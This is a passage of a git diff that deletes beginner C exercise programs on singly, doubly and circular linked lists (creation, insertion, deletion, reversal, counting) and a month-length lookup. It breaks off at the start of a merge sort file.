Here/C/LinkedList/DoublyCircularLinkedList/Example.c +++ /dev/null @@ -1,68 +0,0 @@ -#include -#include - -struct node { - int data; - struct node *plink; - struct node *nlink; -}; - -struct node *head , *tail , *temp , *newnode ; - -void createList() { - head = 0; - tail = 0; - newnode = 0; - temp = 0; - int cont = 1; - while (cont) { - newnode = (struct node *)malloc(sizeof(struct node)); - newnode -> plink = 0; - newnode -> nlink = 0; - printf("Enter a number :-\n"); - scanf("%d",&newnode->data); - if (head == 0) { - head = newnode; - temp = newnode; - } - else { - newnode -> plink = temp; - temp -> nlink = newnode; - temp = newnode; - } - printf("Enter 1 to continue else 0 to terminate...\n"); - scanf("%d",&cont); - } - tail = temp; - head -> plink = tail; - tail -> nlink = head; -} - -void displayInOrder() { - printf("Elements of the doubly circular linked list in order :-\n"); - temp = head; - do { - printf("%d ",temp->data); - temp = temp -> nlink; - } - while (temp != head); - printf("\n"); -} - -void displayReverse() { - printf("Elements of the doubly circular linked list in reverse order :-\n"); - temp = tail; - do { - printf("%d ",temp->data); - temp = temp -> plink; - } - while (temp != tail); - printf("\n"); -} - -int main() { - createList(); - displayInOrder(); - displayReverse(); - return 0; -} \ No newline at end of file diff --git a/Add Code Here/C/LinkedList/DoublyCircularLinkedList/Insertion.c b/Add Code Here/C/LinkedList/DoublyCircularLinkedList/Insertion.c deleted file mode 100644 index 44805812f1e..00000000000 --- a/Add Code Here/C/LinkedList/DoublyCircularLinkedList/Insertion.c +++ /dev/null @@ -1,135 +0,0 @@ -#include -#include - -struct node { - int data; - struct node *plink; - struct node *nlink; -}; - -struct node *head , *tail , *temp , *newnode ; -int length = 0; - -void createList() { - newnode = 0; - tail = 0; - head = 0; - temp = 0; - int cont = 1; - while (cont) { - newnode = (struct node *)malloc(sizeof(struct node)); - newnode -> plink = 0; - newnode -> nlink = 0; - printf("Enter a number :-\n"); - scanf("%d",&newnode->data); - if (head == 0) { - head = newnode; - temp = newnode; - } - else { - newnode -> plink = temp; - temp -> nlink = newnode; - temp = newnode; - } - printf("Enter 1 to continue else 0 to terminate...\n"); - scanf("%d",&cont); - length++; - } - tail = temp; - head -> plink = tail; - tail -> nlink = head; -} - -void displayList() { - temp = head; - do { - printf("%d ",temp -> data); - temp = temp -> nlink; - } - while (temp != head); - printf("\n"); -} - -void insertAtBeginning() { - newnode = (struct node *)malloc(sizeof(struct node)); - newnode -> plink = 0; - newnode -> nlink = 0; - printf("Enter a number :-\n"); - scanf("%d",&newnode->data); - newnode -> nlink = head; - head -> plink = newnode; - head = newnode; - head -> plink = tail; - tail -> nlink = head; - length++; -} - -void insertAtEnd() { - newnode = (struct node *)malloc(sizeof(struct node)); - newnode -> plink = 0; - newnode -> nlink = 0; - printf("Enter a number :-\n"); - scanf("%d",&newnode->data); - tail -> nlink = newnode; - newnode -> plink = tail; - newnode -> nlink = head; - head -> plink = newnode; - tail = newnode; - length++; -} - -void insertAtPosition(int pos) { - if (pos < 1 || pos > length+1) - printf("Invalid position.\n"); - else { - if (pos == 1) - insertAtBeginning(); - else if (pos == length+1) - insertAtEnd(); - else { - newnode = (struct node *)malloc(sizeof(struct node)); - newnode -> plink = 0; - newnode -> nlink = 0; - printf("Enter a number :-\n"); - scanf("%d",&newnode->data); - int i = 1; - temp = head; - while (i < pos-1) { - temp = temp -> nlink; - i++; - } - newnode -> nlink = temp -> nlink; - newnode -> plink = temp; - temp -> nlink -> plink = newnode; - temp -> nlink = newnode; - length++; - } - } -} - -int main() { - createList(); - printf("Original doubly circular linked list :-\n"); - displayList(); - printf("Enter 1 to insert at beginning.\n"); - printf("Enter 2 to insert at end.\n"); - printf("Enter 3 to insert at a specific position.\n"); - printf("Enter your choice.\n"); - int choice; - scanf("%d",&choice); - switch(choice) { - case 1 : insertAtBeginning(); - break; - case 2 : insertAtEnd(); - break; - case 3 : printf("Enter a position :-\n"); - int pos; - scanf("%d",&pos); - insertAtPosition(pos); - break; - default : printf("Invalid input.\n"); - } - printf("Updated doubly circular linked list :-\n"); - displayList(); - return 0; -} \ No newline at end of file diff --git a/Add Code Here/C/LinkedList/DoublyCircularLinkedList/Reverse.c b/Add Code Here/C/LinkedList/DoublyCircularLinkedList/Reverse.c deleted file mode 100644 index 651f6622e74..00000000000 --- a/Add Code Here/C/LinkedList/DoublyCircularLinkedList/Reverse.c +++ /dev/null @@ -1,73 +0,0 @@ -#include -#include - -struct node { - int data; - struct node *plink; - struct node *nlink; -}; - -struct node *head , *tail , *temp , *newnode ; - -void createList() { - head = 0; - tail = 0; - temp = 0; - newnode = 0; - int cont = 1; - while (cont) { - newnode = (struct node *)malloc(sizeof(struct node)); - newnode -> plink = 0; - newnode -> nlink = 0; - printf("Enter a number :-\n"); - scanf("%d",&newnode->data); - if (head == 0) { - head = newnode; - temp = newnode; - } - else { - temp -> nlink = newnode; - newnode -> plink = temp; - temp = newnode; - } - printf("Enter 1 to continue else 0 to terminate...\n"); - scanf("%d",&cont); - } - tail = temp; - tail -> nlink = head; - head -> plink = tail; -} - -void displayList() { - temp = head; - do { - printf("%d ",temp -> data); - temp = temp -> nlink; - } - while (temp != head); - printf("\n"); -} - -void reverseList() { - temp = head; - do { - struct node *ptr = temp->plink; - temp->plink = temp->nlink; - temp->nlink = ptr; - temp = temp -> plink; - } - while (temp != head); - temp = head; - head = tail; - tail = temp; -} - -int main() { - createList(); - printf("Original doubly circular linked list :-\n"); - displayList(); - reverseList(); - printf("Reversed doubly circular linked list :-\n"); - displayList(); - return 0; -} \ No newline at end of file diff --git a/Add Code Here/C/LinkedList/DoublyLinkedList/Deletion.c b/Add Code Here/C/LinkedList/DoublyLinkedList/Deletion.c deleted file mode 100644 index 0d7365a6940..00000000000 --- a/Add Code Here/C/LinkedList/DoublyLinkedList/Deletion.c +++ /dev/null @@ -1,114 +0,0 @@ -#include -#include - -struct node { - int data; - struct node *plink; - struct node *nlink; -}; - -int main() { - struct node *head,*tail,*temp,*newnode; - head = 0 ; tail = 0 ; newnode = 0 ; temp = 0 ; - int cont = 1; int length = 0; - while (cont) { - newnode = (struct node *)malloc(sizeof(struct node)); - newnode -> plink = 0; - newnode -> nlink = 0; - printf("Enter a number :-\n"); - scanf("%d",&newnode -> data); - if (head == 0) { - head = newnode; - temp = newnode; - } - else { - temp -> nlink = newnode; - newnode -> plink = temp; - temp = newnode; - } - printf("Enter 1 to continue else 0 to terminate...\n"); - scanf("%d",&cont); - } - tail = temp; - temp = head; - printf("Elements of the original doubly linked list :-\n"); - while(temp != 0) { - printf("%d ",temp -> data); - temp = temp -> nlink; - length++; - } - printf("\nEnter 1 to delete first node.\n"); - printf("Enter 2 to delete last node.\n"); - printf("Enter 3 to delete a node at a certain position.\n"); - printf("Enter your choice :-\n"); - int choice; - scanf("%d",&choice); - switch(choice) { - case 1 : temp = head; - if(length == 1) { - head = 0; - tail = 0; - } - else { - head = head -> nlink; - head -> plink = 0; - } - free(temp); - break; - case 2 : temp = tail; - if (length == 1) { - tail = 0; - head = 0; - } - else { - tail = tail -> plink; - tail -> nlink = 0; - } - free(temp); - break; - case 3 : printf("Enter the position :-\n"); - int pos; - scanf("%d",&pos); - if (pos < 1 || pos > length) - printf("Invalid position.\n"); - else if (length == 1) { - temp = head; - head = 0; - tail = 0; - free(temp); - } - else if (pos == 1) { - temp = head; - head = head -> nlink; - head -> plink = 0; - free(temp); - } - else if (pos == length) { - temp = tail; - tail = tail -> plink; - tail -> nlink = 0; - free(temp); - } - else { - int i = 1; - temp = head; - while (i < pos) { - temp = temp -> nlink; - i++; - } - temp -> plink -> nlink = temp -> nlink; - temp -> nlink -> plink = temp -> plink; - free(temp); - } - break; - default : printf("Invalid choice.\n"); - } - temp = head; - printf("Elements of the updataed doubly linked list :-\n"); - while (temp != 0) { - printf("%d ",temp -> data); - temp = temp -> nlink; - } - printf("\n"); - return 0; -} \ No newline at end of file diff --git a/Add Code Here/C/LinkedList/DoublyLinkedList/Example.c b/Add Code Here/C/LinkedList/DoublyLinkedList/Example.c deleted file mode 100644 index 767150e1a19..00000000000 --- a/Add Code Here/C/LinkedList/DoublyLinkedList/Example.c +++ /dev/null @@ -1,50 +0,0 @@ -#include -#include - -struct node { - int data; - struct node *nlink; - struct node *plink; -}; - -int main() { - struct node *head; - struct node *temp; - struct node *newnode; - head = 0; - temp = 0; - newnode = 0; - int cont = 1; - while(cont) { - newnode = (struct node *)malloc(sizeof(struct node)); - printf("Enter a number :-\n"); - scanf("%d",&newnode -> data); - newnode -> plink = 0; - newnode -> nlink = 0; - if (head == 0) { - head = newnode; - temp = newnode; - } - else { - temp -> nlink = newnode; - newnode -> plink = temp; - temp = newnode; - } - printf("Enter 1 to continue else 0 to terminate...\n"); - scanf("%d",&cont); - } - printf("Inputted elements in order :-\n"); - temp = head; - while (temp -> nlink != 0) { - printf("%d ",temp -> data); - temp = temp -> nlink; - } - printf("%d ",temp -> data); - printf("\nInputted elements in reverse order :-\n"); - while (temp != 0) { - printf("%d ",temp -> data); - temp = temp -> plink; - } - printf("\n"); - return 0; -} \ No newline at end of file diff --git a/Add Code Here/C/LinkedList/DoublyLinkedList/Insertion.c b/Add Code Here/C/LinkedList/DoublyLinkedList/Insertion.c deleted file mode 100644 index 637d95b66dc..00000000000 --- a/Add Code Here/C/LinkedList/DoublyLinkedList/Insertion.c +++ /dev/null @@ -1,104 +0,0 @@ -#include -#include - -struct node { - int data; - struct node *plink; - struct node *nlink; -}; - -int main() { - struct node *head,*temp,*newnode; - head = 0; - temp = 0; - newnode = 0; - int cont = 1; - while (cont) { - newnode = (struct node *)malloc(sizeof(struct node)); - newnode -> plink = 0; - newnode -> nlink = 0; - printf("Enter a number :-\n"); - scanf("%d",&newnode -> data); - if (head == 0) { - head = newnode; - temp = newnode; - } - else { - temp -> nlink = newnode; - newnode -> plink = temp; - temp = newnode; - } - printf("Enter 1 to continue else 0 to terminate...\n"); - scanf("%d",&cont); - } - temp = head; - int count = 0; - printf("Elements of the doubly linked list in order :-\n"); - while (temp != 0) { - printf("%d ",temp -> data); - temp = temp -> nlink; - count++; - } - printf("\nEnter 1 to insert at the beginning.\n"); - printf("Enter 2 to insert at the end.\n"); - printf("Enter 3 to insert after a certain position.\n"); - printf("Enter your choice.\n"); - int choice; - scanf("%d",&choice); - switch(choice) { - case 1 : newnode = (struct node *)malloc(sizeof(struct node)); - newnode -> plink = 0; - newnode -> nlink = 0; - printf("Enter a number to be inserted :-\n"); - scanf("%d",&newnode -> data); - newnode -> nlink = head; - head -> plink = newnode; - head = newnode; - break; - case 2 : newnode = (struct node *)malloc(sizeof(struct node)); - newnode -> plink = 0; - newnode -> nlink = 0; - printf("Enter a number to be inserted :-\n"); - scanf("%d",&newnode -> data); - temp = head; - while (temp -> nlink != 0) { - temp = temp -> nlink; - } - temp -> nlink = newnode; - newnode -> plink = temp; - break; - case 3 : printf("Enter the position :-\n"); - int pos; - scanf("%d",&pos); - if (pos < 1 || pos > count) - printf("Invalid position.\n"); - else { - newnode = (struct node *)malloc(sizeof(struct node)); - newnode -> plink = 0; - newnode -> nlink = 0; - printf("Enter a number to be inserted :-\n"); - scanf("%d",&newnode -> data); - int i = 1; - temp = head; - while (i < pos) { - temp = temp -> nlink; - i++; - } - struct node *newtemp = temp -> nlink; - temp -> nlink = newnode; - newnode -> plink = temp; - newnode -> nlink = newtemp; - newtemp -> plink = newnode; - } - break; - default : printf("Wrong choice.\n"); - } - temp = head; - printf("Elements of the updated doubly linked list :-\n"); - while (temp != 0) { - printf("%d ",temp -> data); - temp = temp -> nlink; - } - printf("\n"); - return 0; -} \ No newline at end of file diff --git a/Add Code Here/C/LinkedList/DoublyLinkedList/ReverseDoublyLinkedList.c b/Add Code Here/C/LinkedList/DoublyLinkedList/ReverseDoublyLinkedList.c deleted file mode 100644 index 6b22d7810cd..00000000000 --- a/Add Code Here/C/LinkedList/DoublyLinkedList/ReverseDoublyLinkedList.c +++ /dev/null @@ -1,59 +0,0 @@ -#include -#include - -struct node { - int data; - struct node *plink; - struct node *nlink; -}; - -int main() { - struct node *head,*tail,*temp,*newnode; - head = 0; tail = 0; temp = 0; newnode = 0; - int cont = 1; - while(cont) { - newnode = (struct node *)malloc(sizeof(struct node)); - newnode -> plink = 0; - newnode -> nlink = 0; - printf("Enter a number :-\n"); - scanf("%d",&newnode -> data); - if (head == 0) { - head = newnode; - temp = newnode; - } - else { - temp -> nlink = newnode; - newnode -> plink = temp; - temp = newnode; - } - printf("Enter 1 to continue else 0 to terminate...\n"); - scanf("%d",&cont); - } - tail = temp; - temp = head; - printf("Original doubly linked list :-\n"); - while (temp != 0) { - printf("%d ",temp -> data); - temp = temp -> nlink; - } - printf("\n"); - temp = head; - struct node *ptr = 0; - while (temp != 0) { - ptr = temp -> nlink; - temp -> nlink = temp -> plink; - temp -> plink = ptr; - temp = ptr; - } - ptr = head; - head = tail; - tail = ptr; - printf("Reversed doubly linked list :-\n"); - temp = head; - while(temp != 0) { - printf("%d ",temp -> data); - temp = temp -> nlink; - } - printf("\n"); - return 0; -} \ No newline at end of file diff --git a/Add Code Here/C/LinkedList/SinglyCircularLinkedList/Deletion.c b/Add Code Here/C/LinkedList/SinglyCircularLinkedList/Deletion.c deleted file mode 100644 index 95c50e3e0bc..00000000000 --- a/Add Code Here/C/LinkedList/SinglyCircularLinkedList/Deletion.c +++ /dev/null @@ -1,129 +0,0 @@ -#include -#include - -struct node { - int data; - struct node *link; -}; - -struct node *head , *tail , *temp , *newnode ; -int length = 0; - -void createList() { - head = 0; - tail = 0; - temp = 0; - newnode = 0; - int cont = 1; - while(cont) { - newnode = (struct node *)malloc(sizeof(struct node)); - newnode -> link = 0; - printf("Enter a number :-\n"); - scanf("%d",&newnode -> data); - if (temp == 0) { - temp = newnode; - temp -> link = newnode; - } - else { - newnode -> link = temp -> link; - temp -> link = newnode; - temp = newnode; - } - printf("Enter 1 to continue else 0 to terminate...\n"); - scanf("%d",&cont); - length++; - } - head = temp -> link; - tail = temp; -} - -void displayList() { - temp = head; - do { - printf("%d ",temp -> data); - temp = temp -> link; - } - while (temp != head); - printf("\n"); -} - -void deletion() { - printf("Enter 1 to delete 1st node.\n"); - printf("Enter 2 to delete the last node.\n"); - printf("Enter 3 to delete the node at certain position.\n"); - printf("Enter your choice.\n"); - int choice; - scanf("%d",&choice); - switch(choice) { - case 1 : temp = head; - if (length != 1) { - head = head -> link; - tail -> link = head; - } - else { - head = 0; - tail = 0; - } - free(temp); - break; - case 2 : temp = head; - if (length != 1) { - int i = 1; - while (i < length-1) { - temp = temp -> link; - i++; - } - free(temp -> link); - temp -> link = head; - tail = temp; - } - else { - head = 0; - tail = 0; - free(temp); - } - break; - case 3 : printf("Enter the position of the element to be deleted :-\n"); - int pos; - scanf("%d",&pos); - if (pos < 1 || pos > length) - printf("Invalid position.\n"); - else if (length == 1) { - temp = head; - head = 0; - tail = 0; - free(temp); - } - else if (pos == 1) { - temp = head; - head = head -> link; - tail -> link = head; - free(temp); - } - else { - temp = head; - int i = 1; - while (i < pos-1) { - temp = temp -> link; - i++; - } - struct node *ptr = temp -> link; - temp -> link = ptr -> link; - if (ptr == tail) - tail = temp; - free(ptr); - } - break; - default : printf("Wrong choice.\n"); - } -} - -int main() { - createList(); - printf("Original singly circular linked list elemets :-\n"); - displayList(); - deletion(); - printf("Updated singly circular linked list elemets :-\n"); - displayList(); - return 0; -} \ No newline at end of file diff --git a/Add Code Here/C/LinkedList/SinglyCircularLinkedList/Example.c b/Add Code Here/C/LinkedList/SinglyCircularLinkedList/Example.c deleted file mode 100644 index 52716e13735..00000000000 --- a/Add Code Here/C/LinkedList/SinglyCircularLinkedList/Example.c +++ /dev/null @@ -1,41 +0,0 @@ -#include -#include - -struct node { - int data; - struct node *link; -}; - -int main() { - struct node *head,*tail,*temp,*newnode; - head = 0; tail = 0; temp = 0; newnode = 0; - int cont = 1; - while (cont) { - newnode = (struct node *)malloc(sizeof(struct node)); - newnode -> link = 0; - printf("Enter a number :-\n"); - scanf("%d",&newnode -> data); - if (temp == 0) { - temp = newnode; - temp -> link = newnode; - } - else { - newnode -> link = temp -> link; - temp -> link = newnode; - temp = newnode; - } - printf("Enter 1 to continue or 0 to terminate...\n"); - scanf("%d",&cont); - } - head = temp -> link; - tail = temp; - temp = head; - printf("Elements of the single circular linked list :-\n"); - do { - printf("%d ",temp -> data); - temp = temp -> link; - } - while(temp != head); - printf("\n"); - return 0; -} \ No newline at end of file diff --git a/Add Code Here/C/LinkedList/SinglyCircularLinkedList/Insertion.c b/Add Code Here/C/LinkedList/SinglyCircularLinkedList/Insertion.c deleted file mode 100644 index e23fb8e4306..00000000000 --- a/Add Code Here/C/LinkedList/SinglyCircularLinkedList/Insertion.c +++ /dev/null @@ -1,97 +0,0 @@ -#include -#include - -struct node { - int data; - struct node *link; -}; - -int main() { - struct node *head,*tail,*temp,*newnode; - int size = 0; - head = 0 ; tail = 0 ; newnode = 0 ; temp = 0; - int cont = 1; - while (cont) { - newnode = (struct node *)malloc(sizeof(struct node)); - newnode -> link = 0 ; - printf("Enter a number :-\n"); - scanf("%d",&newnode -> data); - if (temp == 0) { - temp = newnode; - temp -> link = newnode; - } - else { - newnode -> link = temp -> link; - temp -> link = newnode; - temp = newnode; - } - printf("Enter 1 to continue or enter 0 to terminate...\n"); - scanf("%d",&cont); - size++; - } - head = temp -> link; - tail = temp; - temp = head; - printf("Original singly circular linked list :-\n"); - do { - printf("%d ",temp -> data); - temp = temp -> link; - } - while (temp != head); - printf("\nEnter 1 to insert at the beginning.\n"); - printf("Enter 2 to insert at end.\n"); - printf("Enter 3 to insert after any inputted position.\n"); - printf("Enter your choice :-\n"); - int choice; - scanf("%d",&choice); - switch(choice) { - case 1 : newnode = (struct node *)malloc(sizeof(struct node)); - newnode -> link = 0; - printf("Enter a number :-\n"); - scanf("%d",&newnode -> data); - newnode -> link = head; - head = newnode; - tail -> link = newnode; - break; - case 2 : newnode = (struct node *)malloc(sizeof(struct node)); - newnode -> link = 0; - printf("Enter a number :-\n"); - scanf("%d",&newnode -> data); - tail -> link = newnode; - newnode -> link = head; - tail = newnode; - break; - case 3 : printf("Enter a position :-\n"); - int pos; - scanf("%d",&pos); - if (pos < 1 || pos > size) - printf("Invalid position.\n"); - else { - newnode = (struct node *)malloc(sizeof(struct node)); - newnode -> link = 0; - printf("Enter a number :-\n"); - scanf("%d",&newnode -> data); - temp = head; - int i = 1; - while (i < pos) { - temp = temp -> link; - i++; - } - newnode -> link = temp -> link; - temp -> link = newnode; - if (pos == 5) - tail = newnode; - } - break; - default : printf("Wrong input.\n"); - } - printf("Updated singly circular linked list :-\n"); - temp = head; - do { - printf("%d ",temp -> data); - temp = temp -> link; - } - while (temp != head); - printf("\n"); - return 0; -} \ No newline at end of file diff --git a/Add Code Here/C/LinkedList/SinglyCircularLinkedList/ReverseSinglyCircularLinkedList.c b/Add Code Here/C/LinkedList/SinglyCircularLinkedList/ReverseSinglyCircularLinkedList.c deleted file mode 100644 index 9922e8a6bfb..00000000000 --- a/Add Code Here/C/LinkedList/SinglyCircularLinkedList/ReverseSinglyCircularLinkedList.c +++ /dev/null @@ -1,72 +0,0 @@ -#include -#include - -struct node { - int data; - struct node *link; -}; - -struct node *head , *tail , *temp , *newnode; - -void createList() { - head = 0; - tail = 0; - temp = 0; - newnode = 0; - int cont = 1; - while (cont) { - newnode = (struct node *)malloc(sizeof(struct node)); - newnode -> link = 0; - printf("Enter a number :-\n"); - scanf("%d",&newnode -> data); - if (temp == 0) { - temp = newnode; - temp -> link = newnode; - } - else { - newnode -> link = temp -> link; - temp -> link = newnode; - temp = newnode; - } - printf("Enter 1 to continue else 0 to terminate...\n"); - scanf("%d",&cont); - } - head = temp -> link; - tail = temp; -} - -void displayList() { - temp = head; - do { - printf("%d ",temp -> data); - temp = temp -> link; - } - while(temp != head); - printf("\n"); -} - -void reverseList() { - struct node *prev , *next; - prev = tail; - temp = head; - do { - next = temp -> link; - temp -> link = prev; - prev = temp; - temp = next; - } - while (temp != head); - temp = head; - head = tail; - tail = temp; -} - -int main() { - createList(); - printf("Original singly circular linked list :-\n"); - displayList(); - reverseList(); - printf("Reversed singly circular linked list :-\n"); - displayList(); - return 0; -} \ No newline at end of file diff --git a/Add Code Here/C/LinkedList/SinglyLinkedList/CountNodesInLinkedList.c b/Add Code Here/C/LinkedList/SinglyLinkedList/CountNodesInLinkedList.c deleted file mode 100644 index 6ee935ab94c..00000000000 --- a/Add Code Here/C/LinkedList/SinglyLinkedList/CountNodesInLinkedList.c +++ /dev/null @@ -1,41 +0,0 @@ -#include -#include - -struct node { - int data; - struct node *link; -}; - -int main() { - struct node *head , *temp , *newnode; - head = 0; - temp = 0; - newnode = 0; - int cont = 1; - while (cont) { - newnode = (struct node *)malloc(sizeof(struct node)); - printf("Enter a number :-\n"); - scanf("%d",&newnode -> data); - newnode -> link = 0; - if (head == 0){ - temp = newnode; - head = newnode; - } - else { - temp -> link = newnode; - temp = temp -> link; - } - printf("Enter 1 to continue else 0 to terminate...\n"); - scanf("%d",&cont); - } - int count = 0; - temp = head; - printf("Elements of the linked list :-\n"); - while (temp != 0) { - printf("%d ",temp -> data); - count += 1; - temp = temp -> link; - } - printf("\nLength of linked list :- %d\n",count); - return 0; -} \ No newline at end of file diff --git a/Add Code Here/C/LinkedList/SinglyLinkedList/Deletion.c b/Add Code Here/C/LinkedList/SinglyLinkedList/Deletion.c deleted file mode 100644 index 41101c3c789..00000000000 --- a/Add Code Here/C/LinkedList/SinglyLinkedList/Deletion.c +++ /dev/null @@ -1,99 +0,0 @@ -#include -#include - -struct node { - int data; - struct node *link; -}; - -int main() { - struct node *head = 0; - struct node *temp = 0; - struct node *newnode = 0; - int cont = 1; - int count = 0; - while (cont) { - newnode = (struct node *)malloc(sizeof(struct node)); - printf("Enter a number :-\n"); - scanf("%d",&newnode -> data); - newnode -> link = 0; - if (head == 0) { - head = newnode; - temp = newnode; - } - else { - temp -> link = newnode; - temp = newnode; - } - printf("Enter 1 to continue else 0 to terminate...\n"); - scanf("%d",&cont); - } - printf("Original linked list elements :-\n"); - temp = head; - while (temp != 0) { - printf("%d ",temp -> data); - temp = temp -> link; - count += 1; - } - printf("\n"); - int choice; - printf("Enter 1 to remove the first node.\n"); - printf("Enter 2 to remove the last node.\n"); - printf("Enter 3 to remove the node after a certain position.\n"); - printf("Enter your choice.\n"); - scanf("%d",&choice); - switch(choice) { - case 1 : temp = head; - head = head -> link; - free(temp); - break; - case 2 : temp = head; - int i = 1; - while (i < count-1) { - temp = temp -> link; - i++; - } - if (temp != head) { - struct node *newtemp = temp -> link; - temp -> link = 0; - free(newtemp); - } - else { - head = head -> link; - free(temp); - } - break; - case 3 : printf("Enter the position :-\n"); - int pos; - scanf("%d",&pos); - if (pos < 1 || pos > count) - printf("Invalid position.\n"); - else { - int i = 1; - temp = head; - while (i < pos-1) { - temp = temp -> link; - i++; - } - if (temp != head) { - struct node *newtemp = temp -> link; - temp -> link = newtemp -> link; - free(newtemp); - } - else { - head = head -> link; - free(temp); - } - } - break; - default : printf("Wrong choice.\n"); - } - printf("Updated linked list elements :-\n"); - temp = head; - while (temp != 0) { - printf("%d ",temp -> data); - temp = temp -> link; - } - printf("\n"); - return 0; -} \ No newline at end of file diff --git a/Add Code Here/C/LinkedList/SinglyLinkedList/Example.c b/Add Code Here/C/LinkedList/SinglyLinkedList/Example.c deleted file mode 100644 index 67499524da8..00000000000 --- a/Add Code Here/C/LinkedList/SinglyLinkedList/Example.c +++ /dev/null @@ -1,39 +0,0 @@ -#include -#include -struct node { - int data; - struct node *link; -}; - -int main() { - struct node *head; - struct node *temp; - struct node *newnode; - int cont = 1; - head = 0; - temp = 0; - newnode = 0; - while (cont == 1) { - newnode = (struct node*)malloc(sizeof(struct node)); - newnode -> link = 0; - printf("Enter a number :-\n"); - scanf("%d",&newnode -> data); - if (head == 0) { - head = newnode; - temp = newnode; - } - else { - temp -> link = newnode; - temp = newnode; - } - printf("Enter 1 to continue else press 0...\n"); - scanf("%d",&cont); - } - temp = head; - printf("Inputted elements :-\n"); - while (temp != 0) { - printf("%d\n",temp -> data); - temp = temp -> link; - } - return 0; -} \ No newline at end of file diff --git a/Add Code Here/C/LinkedList/SinglyLinkedList/Insertion.c b/Add Code Here/C/LinkedList/SinglyLinkedList/Insertion.c deleted file mode 100644 index 415e4a1e4c1..00000000000 --- a/Add Code Here/C/LinkedList/SinglyLinkedList/Insertion.c +++ /dev/null @@ -1,93 +0,0 @@ -#include -#include - -struct node { - int data; - struct node *link; -}; - -int main() { - struct node *head; - struct node *temp; - struct node *newnode; - head = 0; - temp = 0; - newnode = 0; - int cont = 1; - while (cont) { - newnode = (struct node *)malloc(sizeof(struct node)); - printf("Enter a number :-\n"); - scanf("%d",&newnode -> data); - newnode -> link = 0; - if (head == 0) { - head = newnode; - temp = newnode; - } - else { - temp -> link = newnode; - temp = newnode; - } - printf("Enter 1 to continue or 0 to terminate :-\n"); - scanf("%d",&cont); - } - printf("Original linked list elements :-\n"); - temp = head; - int count = 0; - while (temp!=0) { - printf("%d ",temp -> data); - temp = temp -> link; - count += 1; - } - printf("\nEnter 1 to add node at the beginning.\n"); - printf("Enter 2 to add node at the end.\n"); - printf("Enter 3 to add the node after a certain position.\n"); - int choice; - scanf("%d",&choice); - int pos; - switch(choice) { - case 1 : newnode = (struct node *)malloc(sizeof(struct node)); - printf("Enter a number to be added :-\n"); - scanf("%d",&newnode -> data); - newnode -> link = head; - head = newnode; - break; - case 2 : newnode = (struct node *)malloc(sizeof(struct node)); - printf("Enter a number to be added :-\n"); - scanf("%d",&newnode -> data); - newnode -> link = 0; - temp = head; - while (temp -> link != 0) { - temp = temp -> link; - } - temp -> link = newnode; - break; - case 3 : pos; - printf("Enter the position :-\n"); - scanf("%d",&pos); - if (pos > count) - printf("Invalid position.\n"); - else { - newnode = (struct node *)malloc(sizeof(struct node)); - printf("Enter a number to be added :-\n"); - scanf("%d",&newnode -> data); - int i = 1; - temp = head; - while (i < pos) { - temp = temp -> link; - i++; - } - newnode -> link = temp -> link; - temp -> link = newnode; - } - break; - default : printf("Wrong choice.\n"); - } - temp = head; - printf("Elements of new linked list :-\n"); - while (temp != 0) { - printf("%d ",temp -> data); - temp = temp -> link; - } - printf("\n"); - return 0; -} \ No newline at end of file diff --git a/Add Code Here/C/LinkedList/SinglyLinkedList/Month.c b/Add Code Here/C/LinkedList/SinglyLinkedList/Month.c deleted file mode 100644 index fd444ccb2a3..00000000000 --- a/Add Code Here/C/LinkedList/SinglyLinkedList/Month.c +++ /dev/null @@ -1,73 +0,0 @@ -#include -#include -#include - -struct node{ - char month[10]; - struct node *link; -}; - -struct node *head , *temp , *newnode; - -void createNode(){ - head = 0; - temp = 0; - newnode = 0; - int i = 1; - while (i <= 12){ - newnode = (struct node *)malloc(sizeof(struct node)); - newnode -> link = 0; - switch (i){ - case 1 : strcpy(newnode->month,"January"); - break; - case 2 : strcpy(newnode->month,"Feburary"); - break; - case 3 : strcpy(newnode->month,"March"); - break; - case 4 : strcpy(newnode->month,"April"); - break; - case 5 : strcpy(newnode->month,"May"); - break; - case 6 : strcpy(newnode->month,"June"); - break; - case 7 : strcpy(newnode->month,"July"); - break; - case 8 : strcpy(newnode->month,"August"); - break; - case 9 : strcpy(newnode->month,"September"); - break; - case 10 : strcpy(newnode->month,"October"); - break; - case 11 : strcpy(newnode->month,"November"); - break; - default : strcpy(newnode->month,"December"); - } - if (head == 0){ - head = newnode; - temp = newnode; - } - else{ - temp->link = newnode; - temp = newnode; - } - i++; - } -} - -int main(){ - createNode(); - int days[12] = {31,29,31,30,31,30,31,31,30,31,30,31}; - char str_month[10]; - printf("Enter a month :-\n"); - gets(str_month); - temp = head; - int i = 0; - while (temp != 0){ - if (strcmp(temp->month,str_month) == 0){ - printf("%ddays\n",days[i]); - break; - } - i++; - temp = temp->link; - } -} \ No newline at end of file diff --git a/Add Code Here/C/LinkedList/SinglyLinkedList/ReverseLinkedList.c b/Add Code Here/C/LinkedList/SinglyLinkedList/ReverseLinkedList.c deleted file mode 100644 index 2de5d44cb8b..00000000000 --- a/Add Code Here/C/LinkedList/SinglyLinkedList/ReverseLinkedList.c +++ /dev/null @@ -1,56 +0,0 @@ -#include -#include - -struct node { - int data; - struct node *link; -}; - -int main() { - struct node *temp1,*newnode,*temp2,*temp3,*head; - newnode = 0; - temp1 = 0; - temp2 = 0; - temp3 = 0; - head = 0; - int cont = 1; - while(cont) { - newnode = (struct node *)malloc(sizeof(struct node)); - newnode -> link = 0; - printf("Enter a number :-\n"); - scanf("%d",&newnode -> data); - if (head == 0) { - head = newnode; - temp1 = newnode; - } - else { - temp1 -> link = newnode; - temp1 = newnode; - } - printf("Enter 1 to continue else 0 to terminate...\n"); - scanf("%d",&cont); - } - printf("Original linked list elements :-\n"); - temp1 = head; - while(temp1 != 0) { - printf("%d ",temp1 -> data); - temp1 = temp1 -> link; - } - printf("\n"); - temp1 = head; - while (temp1 -> link != 0) { - temp2 = temp1 -> link; - temp1 -> link = temp3; - temp3 = temp1; - temp1 = temp2; - } - temp1 -> link = temp3; - head = temp1; - printf("Reversed linked list elements :-\n"); - while (temp1 != 0) { - printf("%d ",temp1 -> data); - temp1 = temp1 -> link; - } - printf("\n"); - return 0; -} \ No newline at end of file diff --git a/Add Code Here/C/MergeSort.c b/Add Code Here/C/MergeSort.c deleted file mode 100644 index e1474e20a3e..00000000000 --- a/Add Code Here/C/MergeSort.c +++ /dev/null @@ -1,100 +0,0 @@ -/* C program for Merge Sort */ -#include -#include -#include - -// Merges two subarrays of arr[]. -// First subarray is arr[l..m] -// Second subarray is arr[m+1..r] -void merge(int arr[], int l, int m, int r) -{ - int i, j, k; - int n1 = m - l + 1; - int 